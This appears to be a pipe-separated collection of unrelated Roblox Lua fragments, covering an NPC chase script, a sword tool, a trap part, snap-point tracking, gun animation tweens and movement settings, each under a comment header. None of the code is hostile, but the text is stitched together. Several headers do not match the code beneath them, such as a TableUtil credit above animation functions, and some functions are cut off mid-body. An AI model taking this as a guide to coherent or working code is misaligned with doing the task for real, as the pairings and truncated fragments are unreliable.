if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHumanoidRootPart and JeffTheKillerHead:FindFirstChild("Step")and (JeffTheKillerHumanoidRootPart.Velocity-Vector3.new(0,JeffTheKillerHumanoidRootPart.Velocity.y,0)).magnitude>=5 and not WalkDebounce and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then
Spawn(function()
WalkDebounce=true;
local FiredRay=Ray.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(0,-4,0));
local RayTarget,endPoint=Game:GetService("Workspace"):FindPartOnRay(FiredRay,JeffTheKiller);
if RayTarget then
JeffTheKillerHead:FindFirstChild("Step"):Play();
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed<17 then
Wait(0.5);
elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed>17 then
Wait(0.2);
end
end;
WalkDebounce=false;
end);
end;
local MainTarget=FindNearestBae();
local FoundHumanoid;
if MainTarget then
for _,Child in pairs(MainTarget.Parent:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
FoundHumanoid=Child;
end;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and MainTarget.Parent and FoundHumanoid and FoundHumanoid.Jump then
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<25 then
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Laugh")and not JeffTheKillerHead:FindFirstChild("Laugh").IsPlaying then
JeffTheKillerHead:FindFirstChild("Laugh").Volume=1;
JeffTheKillerHead:FindFirstChild("Laugh"):Play();
end;
elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>25 then
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Laugh")and JeffTheKillerHead:FindFirstChild("Laugh").IsPlaying then
if not JeffLaughDebounce then
Spawn(function()
JeffLaughDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Laugh")then JeffTheKillerHead:FindFirstChild("Laugh").Volume=JeffTheKillerHead:FindFirstChild("Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Laugh").Volume<0;
JeffTheKillerHead:FindFirstChild("Laugh").Volume=0;
JeffTheKillerHead:FindFirstChild("Laugh"):Stop();
JeffLaughDebounce=false;
end);
end;
end;
end;
if not ChosenMusic and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<99999e99999 then
local MusicChoice=1;
if MusicChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Chase")then
ChosenMusic=JeffTheKiller:FindFirstChild("Chase");
end;
if JeffTheKillerScript and JeffTheKiller and ChosenMusic and not ChosenMusic.IsPlaying then
ChosenMusic.Volume=0.5;
ChosenMusic:Play();
end;
elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>99999e99999 then
if JeffTheKillerScript and JeffTheKiller and ChosenMusic and ChosenMusic.IsPlaying then
if not MusicDebounce then
Spawn(function()
MusicDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;
if ChosenMusic then
ChosenMusic.Volume=0;
ChosenMusic:Stop();
end;
ChosenMusic=nil;
MusicDebounce=false;
end);
end;
end;
end;
if not MainTarget and not JeffLaughDebounce then
Spawn(function()
JeffLaughDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Laugh")then JeffTheKillerHead:FindFirstChild("Laugh").Volume=JeffTheKillerHead:FindFirstChild("Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Laugh").Volume<0;
JeffTheKillerHead:FindFirstChild("Laugh").Volume=0;
JeffTheKillerHead:FindFirstChild("Laugh"):Stop();
JeffLaughDebounce=false;
end);
end;
if not MainTarget and not MusicDebounce then
Spawn(function()
MusicDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;
if ChosenMusic then
ChosenMusic.Volume=0;
ChosenMusic:Stop();
end;
ChosenMusic=nil;
MusicDebounce=false;
end);
end;
if MainTarget then
Notice=true;
if Notice and not NoticeDebounce and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Notice")then
NoticeDebounce=true;
end
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then
if MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>5 then
JeffTheKillerHumanoid.WalkSpeed=30;
elseif MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<5 then
JeffTheKillerHumanoid.WalkSpeed=0.004;
end;
JeffTheKillerHumanoid:MoveTo(MainTarget.Position+(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).unit*2,Game:GetService("Workspace"):FindFirstChild("Terrain"));
end;
else
Notice=false;
NoticeDebounce=false;
local RandomWalk=math.random(1,150);
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then
JeffTheKillerHumanoid.WalkSpeed=0;
if RandomWalk==1 then
end;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid then
JeffTheKillerHumanoid.DisplayDistanceType="Subject";
JeffTheKillerHumanoid.HealthDisplayDistance=100;
JeffTheKillerHumanoid.Name="Humanoid";
JeffTheKillerHumanoid.NameDisplayDistance=100;
JeffTheKillerHumanoid.NameOcclusion="OccludeAll";
JeffTheKillerHumanoid.MaxHealth=500;
JeffTheKillerHumanoid.JumpPower=50;
JeffTheKillerHumanoid.MaxSlopeAngle=89.9;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoJumpEnabled then
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoRotate then
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.PlatformStand then
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Sit then
end;
end; |
-- Where it says Volume 0 is where you change the volume
--And where it says SoundID put the audio ID there
--Make sure to change the sound ID and volume too | |
-- TableUtil
-- Stephen Leitnick
-- September 13, 2017 | |
-- functions |
function stopAllAnimations()
local oldAnim = currentAnim
currentAnim = ""
currentAnimInstance = nil
if (currentAnimKeyframeHandler ~= nil) then
currentAnimKeyframeHandler:disconnect()
end
if (currentAnimTrack ~= nil) then
currentAnimTrack:Stop()
currentAnimTrack:Destroy()
currentAnimTrack = nil
end
return oldAnim
end
function setAnimationSpeed(speed)
if speed ~= currentAnimSpeed then
currentAnimSpeed = speed
currentAnimTrack:AdjustSpeed(currentAnimSpeed)
end
end
function keyFrameReachedFunc(frameName)
if (frameName == "End") then |
-- functions |
function stopAllAnimations()
local oldAnim = currentAnim
|
--{{ Update Points }}-- |
game:GetService("RunService").Stepped:Connect(function()
change.Text = playerStats.Value
end)
|
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- |
local damagetime
local damagedb = false
for _, zambieparts in pairs(zombie:GetChildren())do
if zambieparts:IsA'Part' and human.Health > 0 then
zambieparts.Touched:connect(function(p)
if p.Parent.Name == chaseName and p.Parent.Name ~= zombie.Name and not damagedb then -- damage
damagedb = true
damagetime = time()
local enemy = p.Parent
local enemyhuman = getHumanoid(enemy)
vars.Attacking.Value = true
enemyhuman:TakeDamage(ZombieDamage)
vars.Attacking.Value = false
while wait() do
if damagetime ~= nil and time() >= (damagetime + DamageWait) then
damagedb = false
damagetime = nil
end
end
end
end)
end
end
|
-------- OMG HAX |
r = game:service("RunService")
local damage = 10
local slash_damage = 15
sword = script.Parent.Handle
Tool = script.Parent
local SlashSound = Instance.new("Sound")
SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
SlashSound.Parent = sword
SlashSound.Volume = 1
local UnsheathSound = Instance.new("Sound")
UnsheathSound.SoundId = "http://www.roblox.com/asset/?id=16425587"
UnsheathSound.Parent = sword
UnsheathSound.Volume = 1
function blow(hit)
local humanoid = hit.Parent:findFirstChild("Humanoid")
local vCharacter = Tool.Parent
local vPlayer = game.Players:playerFromCharacter(vCharacter)
local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character
if humanoid~=nil and humanoid ~= hum and hum ~= nil then
-- final check, make sure sword is in-hand
local right_arm = vCharacter:FindFirstChild("Right Arm")
if (right_arm ~= nil) then
local joint = right_arm:FindFirstChild("RightGrip")
if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then
tagHumanoid(humanoid, vPlayer)
humanoid:TakeDamage(damage)
wait(1)
untagHumanoid(humanoid)
end
end
end
end
function tagHumanoid(humanoid, player)
local creator_tag = Instance.new("ObjectValue")
creator_tag.Value = player
creator_tag.Name = "creator"
creator_tag.Parent = humanoid
end
function untagHumanoid(humanoid)
if humanoid ~= nil then
local tag = humanoid:findFirstChild("creator")
if tag ~= nil then
tag.Parent = nil
end
end
end
function attack()
damage = slash_damage
SlashSound:play()
local anim = Instance.new("StringValue")
anim.Name = "toolanim"
anim.Value = "Slash"
anim.Parent = Tool
end
function swordUp()
Tool.GripForward = Vector3.new(-1,0,0)
Tool.GripRight = Vector3.new(0,1,0)
Tool.GripUp = Vector3.new(0,0,1)
end
function swordOut()
Tool.GripForward = Vector3.new(0,0,1)
Tool.GripRight = Vector3.new(0,-1,0)
Tool.GripUp = Vector3.new(-1,0,0)
end
Tool.Enabled = true
function onActivated()
if not Tool.Enabled then
return
end
Tool.Enabled = false
local character = Tool.Parent;
local humanoid = character.Humanoid
if humanoid == nil then
print("Humanoid not found")
return
end
attack()
wait(1)
Tool.Enabled = true
end
function onEquipped()
UnsheathSound:play()
end
script.Parent.Activated:connect(onActivated)
script.Parent.Equipped:connect(onEquipped)
connection = sword.Touched:connect(blow)
|
--Determine Wheel Size |
local wDia = 0
for i,v in pairs(Drive) do
if v.Size.x>wDia then wDia = v.Size.x end
end
|
--General_Punctuation |
local function Touch(part)
local parent = script.Parent
local drop = script.Parent.Parent
local h = part.Parent:FindFirstChild("Humanoid")
if h~= nil then
script.Disabled = true
parent.rumble:Play()
drop.P.Transparency = 1
drop.p1.Transparency = 0
wait(0.1)
drop.p1.Transparency = 1
drop.p2.Transparency = 0
wait(0.1)
drop.p1.Transparency = 0
drop.p2.Transparency = 1
wait(0.1)
drop.p1.Transparency = 1
drop.p2.Transparency = 0
wait(0.1)
drop.p1.Transparency = 0
drop.p2.Transparency = 1
wait(0.1)
drop.p1.Transparency = 1
drop.p2.Transparency = 0
wait(0.1)
drop.p1.Transparency = 1
drop.p2.Transparency = 0
wait(0.1)
drop.p1.Transparency = 0
drop.p2.Transparency = 1
wait(0.1)
drop.p1.Transparency = 1
drop.p2.Transparency = 0
wait(0.1)
drop.p1.Transparency = 0
drop.p2.Transparency = 1
wait(0.1)
drop.p1.Transparency = 1
drop.p2.Transparency = 0
wait(0.1)
drop.p1.Transparency = 0
drop.p2.Transparency = 1
wait(0.1)
drop.p1.Transparency = 1
drop.p2.Transparency = 0
wait(0.1)
drop.p1.Transparency = 0
drop.p2.Transparency = 1
wait(0.1)
drop.p1.Transparency = 1
drop.p2.Transparency = 0
wait(0.1)
parent.bang:Play()
drop.p1.Transparency = 1
drop.p2.Transparency = 1
drop.P.Transparency = 1
drop.P.CanCollide = false
wait(3)
drop.P.CanCollide = true
drop.P.Transparency = 0
wait(0.2)
script.Disabled = false
else
print("Humanoid not detected")
end
end
script.Parent.Touched:connect(Touch)
|
-------------------------------------------------------------------- |
elseif setupmode == "Auto" then
mouse.KeyDown:connect(function(key)
if key == camkey and enabled == false then
enabled = true
print("enabled")
local descendants = car:GetDescendants()
for index, descendant in pairs(descendants) do
if descendant:IsA("Sound") then
local effect = script.soundeffect:Clone()
effect.Name = "soundeffectCop"
effect.Parent = descendant
for _,exc in pairs(exceptions) do
if descendant.Name == exc then
descendant.soundeffectCop:Destroy()
end
end
end
end
elseif key == camkey and enabled == true then
enabled = false
print("disabled")
local descendants = car:GetDescendants()
for index, descendant in pairs(descendants) do
if descendant:IsA("EqualizerSoundEffect") and descendant.Name == "soundeffectCop" then
descendant:Destroy()
car.DriveSeat.ChildRemoved:Connect(function(child)
if child.Name == "SeatWeld" then
local descendants = car:GetDescendants()
for index, descendant in pairs(descendants) do
if descendant:IsA("EqualizerSoundEffect") and descendant.Name == "soundeffect" then
descendant:Destroy()
end
end
end
end)
end
end
end
end)
end
|
--[[
Centralized place to handle logging. Lets us:
- Unit test log output via `Logging.capture`
- Disable verbose log messages when not debugging Roact
This should be broken out into a separate library with the addition of
scoping and logging configuration.
]] | |
--- Generates a new Maid object
-- @return Maid |
function Maid.new()
return setmetatable({_Tasks = {}}, Maid)
end
|
-- Libraries |
Core = require(script.Parent);
Support = Core.Support;
SnapTracking = {};
SnapTracking.Enabled = false;
SnapTracking.TrackCorners = true;
SnapTracking.TrackFaceCentroids = true;
SnapTracking.TrackEdgeMidpoints = true;
function SnapTracking.StartTracking(Callback)
-- Starts displaying the given target's snap point nearest to the mouse, calls back every time a new point is approached
-- Make sure tracking isn't already on
if SnapTracking.Enabled then
SnapTracking.StopTracking();
end;
-- Indicate that tracking is now enabled
SnapTracking.Enabled = true;
-- Disable selection
Core.Targeting.CancelSelecting();
-- Start the UI
SnapTracking.StartUI();
-- Store callback to send changes in current snapping point
SnapTracking.SetCallback(Callback);
-- Start tracking mouse movement
function UpdateTrackingTarget(Input)
-- Blacklist the player's character and the items in `TargetBlacklist`
local TargetBlacklist = Support.ConcatTable(
{ Player and Player.Character },
SnapTracking.TargetBlacklist or {}
);
-- Find the current target part and point
local TargetRay = Workspace.CurrentCamera:ScreenPointToRay(Input.Position.X, Input.Position.Y);
local TargetPart, TargetPoint, TargetNormal, TargetMaterial = Workspace:FindPartOnRayWithIgnoreList(
Ray.new(TargetRay.Origin, TargetRay.Direction * 5000),
TargetBlacklist
);
-- Make sure a target part exists
if not TargetPart then
return;
end;
-- Check with any snapping target filter
if SnapTracking.TargetFilter and not SnapTracking.TargetFilter(TargetPart) then
return;
end;
-- Set the current target for snap point tracking
SnapTracking.MousePoint = TargetPoint;
SnapTracking.SetTrackingTarget(TargetPart);
end;
-- Update the tracking and UI to the current mouse and proximity state
if not SnapTracking.CustomMouseTracking then
SnapTracking.MouseTracking = Support.AddUserInputListener('Changed', 'MouseMovement', false, UpdateTrackingTarget);
UpdateTrackingTarget({ Position = Vector2.new(Core.Mouse.X, Core.Mouse.Y) });
SnapTracking.Update();
end;
end;
function SnapTracking.SetCallback(Callback)
-- Sets the function that is called back whenever a new snap point is in focus
SnapTracking.Callback = Callback;
end;
function SnapTracking.StartUI()
-- Creates the point marking UI
SnapTracking.PointMarker = Core.Tool.Interfaces.PointMarker:Clone();
SnapTracking.PointMarker.Parent = Core.UI;
end;
function SnapTracking.ClearUI()
-- Removes the point marking UI
-- Make sure tracking is currently enabled
if not SnapTracking.Enabled then
return;
end;
-- Remove the point marker UI
SnapTracking.PointMarker:Destroy();
SnapTracking.PointMarker = nil;
end;
function SnapTracking.Update()
-- Updates the current closest point, reflects it on UI, calls callback function
-- Make sure tracking is currently enabled
if not SnapTracking.Enabled then
return;
end;
-- Calculate the closest point
local ClosestPoint = SnapTracking.GetClosestPoint();
-- Inform the callback function
SnapTracking.Callback(ClosestPoint);
-- Update the point marker UI
SnapTracking.UpdateUI(ClosestPoint);
end;
function SnapTracking.UpdateUI(Point)
-- Updates the point marker UI to reflect the position of the current closest snap point
-- Make sure tracking is enabled, and that the UI has started
if not SnapTracking.Enabled or not SnapTracking.PointMarker then
return;
end;
-- Make sure there's actually a point that needs to be marked, or hide the point marker
if not Point then
SnapTracking.PointMarker.Visible = false;
return;
end;
-- Map the point's position on the screen
local PointPosition, PointVisible = Workspace.CurrentCamera:WorldToScreenPoint(Point.p);
-- Move the point marker UI to the point's position on the screen
SnapTracking.PointMarker.Visible = PointVisible;
SnapTracking.PointMarker.Position = UDim2.new(0, PointPosition.X, 0, PointPosition.Y);
end;
function SnapTracking.SetTrackingTarget(NewTarget)
-- Sets the target part whose snapping points' proximity we are tracking
SnapTracking.Target = NewTarget;
SnapTracking.Update();
end;
function SnapTracking.GetClosestPoint()
-- Find the current nearest snapping point for the target, update the GUI
-- Make sure there's a target part to track, and a current mouse position to calculate proximity relative to
if not SnapTracking.Target or not SnapTracking.MousePoint then
return nil;
end;
local SnappingPoints = {};
local SnappingPointProximity = {};
-- Get the current target's snapping points
local PartCFrame = SnapTracking.Target.CFrame;
local PartSize = SnapTracking.Target.Size / 2;
local SizeX, SizeY, SizeZ = PartSize.X, PartSize.Y, PartSize.Z;
-- Filter based on snapping point options
if SnapTracking.TrackCorners then
table.insert(SnappingPoints, PartCFrame * CFrame.new(SizeX, SizeY, SizeZ));
table.insert(SnappingPoints, PartCFrame * CFrame.new(-SizeX, SizeY, SizeZ));
table.insert(SnappingPoints, PartCFrame * CFrame.new(SizeX, -SizeY, SizeZ));
table.insert(SnappingPoints, PartCFrame * CFrame.new(SizeX, SizeY, -SizeZ));
table.insert(SnappingPoints, PartCFrame * CFrame.new(-SizeX, SizeY, -SizeZ));
table.insert(SnappingPoints, PartCFrame * CFrame.new(-SizeX, -SizeY, SizeZ));
table.insert(SnappingPoints, PartCFrame * CFrame.new(SizeX, -SizeY, -SizeZ));
table.insert(SnappingPoints, PartCFrame * CFrame.new(-SizeX, -SizeY, -SizeZ));
end;
if SnapTracking.TrackEdgeMidpoints then
table.insert(SnappingPoints, PartCFrame * CFrame.new(SizeX, SizeY, 0));
table.insert(SnappingPoints, PartCFrame * CFrame.new(SizeX, 0, SizeZ));
table.insert(SnappingPoints, PartCFrame * CFrame.new(0, SizeY, SizeZ));
table.insert(SnappingPoints, PartCFrame * CFrame.new(-SizeX, SizeY, 0));
table.insert(SnappingPoints, PartCFrame * CFrame.new(-SizeX, 0, SizeZ));
table.insert(SnappingPoints, PartCFrame * CFrame.new(0, -SizeY, SizeZ));
table.insert(SnappingPoints, PartCFrame * CFrame.new(SizeX, -SizeY, 0));
table.insert(SnappingPoints, PartCFrame * CFrame.new(SizeX, 0, -SizeZ));
table.insert(SnappingPoints, PartCFrame * CFrame.new(0, SizeY, -SizeZ));
table.insert(SnappingPoints, PartCFrame * CFrame.new(-SizeX, -SizeY, 0));
table.insert(SnappingPoints, PartCFrame * CFrame.new(-SizeX, 0, -SizeZ));
table.insert(SnappingPoints, PartCFrame * CFrame.new(0, -SizeY, -SizeZ));
end;
if SnapTracking.TrackFaceCentroids then
table.insert(SnappingPoints, PartCFrame * CFrame.new(SizeX, 0, 0));
table.insert(SnappingPoints, PartCFrame * CFrame.new(0, 0, SizeZ));
table.insert(SnappingPoints, PartCFrame * CFrame.new(0, SizeY, 0));
table.insert(SnappingPoints, PartCFrame * CFrame.new(-SizeX, 0, 0));
table.insert(SnappingPoints, PartCFrame * CFrame.new(0, -SizeY, 0));
table.insert(SnappingPoints, PartCFrame * CFrame.new(0, 0, -SizeZ));
end;
-- Calculate proximity of each snapping point to the mouse
for SnappingPointKey, SnappingPoint in ipairs(SnappingPoints) do
SnappingPointProximity[SnappingPointKey] = (SnapTracking.MousePoint - SnappingPoint.p).magnitude;
end;
-- Sort out the closest snapping point
local ClosestPointKey = 1;
for PointKey, Proximity in pairs(SnappingPointProximity) do
if Proximity < SnappingPointProximity[ClosestPointKey] then
ClosestPointKey = PointKey;
end;
end;
-- Return the closest point
return SnappingPoints[ClosestPointKey];
end;
function SnapTracking.StopTracking()
-- Stops tracking the current closest snapping point, cleans up
-- Clear the previous tracking target, and callback
SnapTracking.Target = nil;
SnapTracking.Callback = nil;
-- Reset snapping point options
SnapTracking.TrackFaceCentroids = true;
SnapTracking.TrackEdgeMidpoints = true;
SnapTracking.TrackCorners = true;
SnapTracking.TargetFilter = nil;
SnapTracking.TargetBlacklist = {};
-- Make sure we're currently tracking
if not SnapTracking.Enabled then
return;
end;
-- Stop tracking the mouse and its proximity to snapping points
SnapTracking.MouseTracking:Disconnect();
SnapTracking.MouseTracking = nil;
-- Clear the point marker UI from the screen
SnapTracking.ClearUI();
-- Indicate that tracking is no longer enabled
SnapTracking.Enabled = false;
end;
return SnapTracking;
|
-- This library contains a collection of clever hacks.
-- If you ever find a mistake in this library or a way to make a
-- function more efficient or less hacky, please notify JulienDethurens of it. | |
--// Animations |
-- Idle Anim
IdleAnim = function(char, speed, objs)
--TweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.25)
TweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.07592201, 1, 0, 0, 0, 1.19248806e-08, 1, 0, -1, 1.19248806e-08), function(X) return math.sin(math.rad(X)) end, 0.25)
TweenJoint(objs[3], nil , CFrame.new(-0.0318467021, -0.0621779114, -1.67288721, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.18)
end;
-- FireMode Anim
FireModeAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , CFrame.new(0.340285569, 0, -0.0787199363, 0.962304771, 0.271973342, 0, -0.261981696, 0.926952124, -0.268561482, -0.0730415657, 0.258437991, 0.963262498), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.1)
TweenJoint(objs[2], nil , CFrame.new(0.67163527, -0.310947895, -1.34432662, 0.766044378, -2.80971371e-008, 0.642787576, -0.620885074, -0.258818865, 0.739942133, 0.166365519, -0.965925872, -0.198266774), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.17)
objs[4]:WaitForChild("Click"):Play()
end;
--[[{_G.cg.HRP["Base"], RAW, LAW, Mag, FLA, VMC, BoltW}]]--
-- Reload Anim
ReloadAnim = function(char, speed, objs)
TweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.07592201, 0.973990917, -0.226587087, 2.70202394e-09, -0.0646390691, -0.277852833, 0.958446443, -0.217171595, -0.933518112, -0.285272509), function(X) return math.sin(math.rad(X)) end, 0.5)
TweenJoint(objs[3], nil , CFrame.new(0.511569798, -0.0621779114, -1.63076854, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098), function(X) return math.sin(math.rad(X)) end, 0.5)
wait(0.5)
local MagC = Tool:WaitForChild("Mag"):clone()
MagC:FindFirstChild("Mag"):Destroy()
MagC.Parent = Tool
MagC.Name = "MagC"
local MagCW = Instance.new("Motor6D")
MagCW.Part0 = MagC
MagCW.Part1 = workspace.CurrentCamera:WaitForChild("Arms"):WaitForChild("Left Arm")
MagCW.Parent = MagC
MagCW.C1 = MagC.CFrame:toObjectSpace(objs[4].CFrame)
objs[4].Transparency = 1
objs[6]:WaitForChild("MagOut"):Play()
TweenJoint(objs[3], nil , CFrame.new(0.511569798, -0.0621778965, -2.69811869, 0.787567914, -0.220087856, 0.575584888, -0.51537323, 0.276813388, 0.811026871, -0.337826759, -0.935379863, 0.104581922), function(X) return math.sin(math.rad(X)) end, 0.3)
TweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.29060709, 0.973990917, -0.226587087, 2.70202394e-09, -0.0646390691, -0.277852833, 0.958446443, -0.217171595, -0.933518112, -0.285272509), function(X) return math.sin(math.rad(X)) end, 0.1)
wait(0.1)
TweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.07592201, 0.973990917, -0.226587087, 2.70202394e-09, -0.0646390691, -0.277852833, 0.958446443, -0.217171595, -0.933518112, -0.285272509), function(X) return math.sin(math.rad(X)) end, 0.3)
wait(0.3)
objs[6]:WaitForChild('MagIn'):Play()
TweenJoint(objs[3], nil , CFrame.new(0.511569798, -0.0621779114, -1.63076854, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098), function(X) return math.sin(math.rad(X)) end, 0.3)
wait(0.4)
MagC:Destroy()
objs[4].Transparency = 0
end;
-- Bolt Anim
BoltBackAnim = function(char, speed, objs)
TweenJoint(objs[3], nil , CFrame.new(-0.603950977, 0.518400908, -1.07592201, 0.984651804, 0.174530268, -2.0812525e-09, 0.0221636202, -0.125041038, 0.991903961, 0.173117265, -0.97668004, -0.12699011), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.1)
TweenJoint(objs[2], nil , CFrame.new(-0.333807141, -0.492658436, -1.55705214, 0.140073985, -0.978677034, -0.150234282, -0.955578506, -0.173358306, 0.238361627, -0.259323537, 0.110172354, -0.959486008), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.4)
objs[5]:WaitForChild("BoltBack"):Play()
TweenJoint(objs[2], nil , CFrame.new(-0.333807141, -0.609481037, -1.02827215, 0.140073985, -0.978677034, -0.150234282, -0.955578506, -0.173358306, 0.238361627, -0.259323537, 0.110172354, -0.959486008), function(X) return math.sin(math.rad(X)) end, 0.25)
TweenJoint(objs[1], nil , CFrame.new(0, 0, 0.230707675, 1, 0, 0, 0, 1, 0, 0, 0, 1), function(X) return math.sin(math.rad(X)) end, 0.25)
TweenJoint(objs[3], nil , CFrame.new(-0.603950977, 0.175939053, -1.07592201, 0.984651804, 0.174530268, -2.0812525e-09, 0.0221636202, -0.125041038, 0.991903961, 0.173117265, -0.97668004, -0.12699011), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.3)
end;
-- gunSettings.BoltForwardAnim(char, speed, {BoltW, LAW, RAW, AnimBaseW, Bolt});
BoltForwardAnim = function(char, speed, objs)
objs[5]:WaitForChild("BoltForward"):Play()
TweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.1)
TweenJoint(objs[2], nil , CFrame.new(-0.84623456, -0.900531948, -0.749261618, 0.140073985, -0.978677034, -0.150234282, -0.955578506, -0.173358306, 0.238361627, -0.259323537, 0.110172354, -0.959486008), function(X) return math.sin(math.rad(X)) end, 0.1)
TweenJoint(objs[3], nil , CFrame.new(-0.603950977, 0.617181182, -1.07592201, 0.984651804, 0.174530268, -2.0812525e-09, 0.0221636202, -0.125041038, 0.991903961, 0.173117265, -0.97668004, -0.12699011), function(X) return math.sin(math.rad(X)) end, 0.2)
wait(0.2)
--TweenJoint(objs[3], nil , CFrame.new(-1.00794375, 0.0776977539, -1.62080014, 0.99999994, 0, 0, 0, -4.37113883e-08, 1, 0, -1, -4.37113883e-08), function(X) return math.sin(math.rad(X)) end, 0.2)
--wait(0.3)
end;
-- Bolting Back
BoltingBackAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , CFrame.new(0, 0, 0.230707675, 1, 0, 0, 0, 1, 0, 0, 0, 1), function(X) return math.sin(math.rad(X)) end, 0.1)
end;
BoltingForwardAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.1)
end;
}
return Settings
|
--[[ Public API ]] | --
function ShiftLockController:IsShiftLocked()
return IsShiftLockMode and IsShiftLocked
end
function ShiftLockController:SetIsInFirstPerson(isInFirstPerson)
IsInFirstPerson = isInFirstPerson
end
|
--[[ Settings Changed Connections ]] | --
LocalPlayer.Changed:connect(function(property)
if IsTouchDevice and property == 'DevTouchMovementMode' then
DevMovementMode = LocalPlayer.DevTouchMovementMode
IsUserChoice = DevMovementMode == Enum.DevTouchMovementMode.UserChoice
if IsUserChoice then
UserMovementMode = GameSettings.TouchMovementMode
end
onControlsChanged()
elseif not IsTouchDevice and property == 'DevComputerMovementMode' then
DevMovementMode = LocalPlayer.DevComputerMovementMode
IsUserChoice = DevMovementMode == Enum.DevComputerMovementMode.UserChoice
if IsUserChoice then
UserMovementMode = GameSettings.ComputerMovementMode
end
onControlsChanged()
end
end)
GameSettings.Changed:connect(function(property)
if not IsUserChoice then return end
if property == 'TouchMovementMode' or property == 'ComputerMovementMode' then
UserMovementMode = GameSettings[property]
onControlsChanged()
end
end)
|
--This script creates a leaderstat and saves it with the DataStoreService.
